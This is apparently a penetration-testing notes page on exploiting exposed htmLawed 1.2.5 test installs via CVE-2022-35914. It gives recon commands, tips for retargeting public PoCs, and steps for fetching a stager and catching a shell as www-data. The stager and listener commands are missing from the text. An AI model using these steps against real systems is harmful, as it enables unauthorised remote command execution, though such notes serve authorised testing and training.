htmLawed
htmLawed is a PHP library for filtering and sanitizing HTML. Exposed test/demo installs may be vulnerable to command execution.
Discovery
nmap -sC -sV TARGET -p 80
# http-title: htmLawed (1.2.5) testCommon files:
/index.php
/htmLawed.php
/htmLawed_README.txt
/htmLawed_README.htm
/htmLawed_TESTCASE.txtFuzz for PHP and documentation files:
feroxbuster -u http://TARGET -x php,txt,htm,htmlCVE-2022-35914
htmLawed 1.2.5 can be vulnerable to command execution. Public PoCs may assume the vulnerable test file lives at:
/vendor/htmlawed/htmlawed/htmLawedTest.phpIf that 404s but the root page is the htmLawed test interface, patch the PoC target path to / or to the discovered PHP file such as /htmLawed.php.
# In some PoCs:
uri = "/"
# or
uri = "/htmLawed.php"Run a harmless command first:
Getting a Shell
If one-shot reverse shell payloads do not connect back, use the RCE to fetch and run a stager.
Create the stager:
Fetch, chmod, and execute through the RCE:
Start the listener before executing:
The shell usually lands as the web server user, e.g. www-data.
Last updated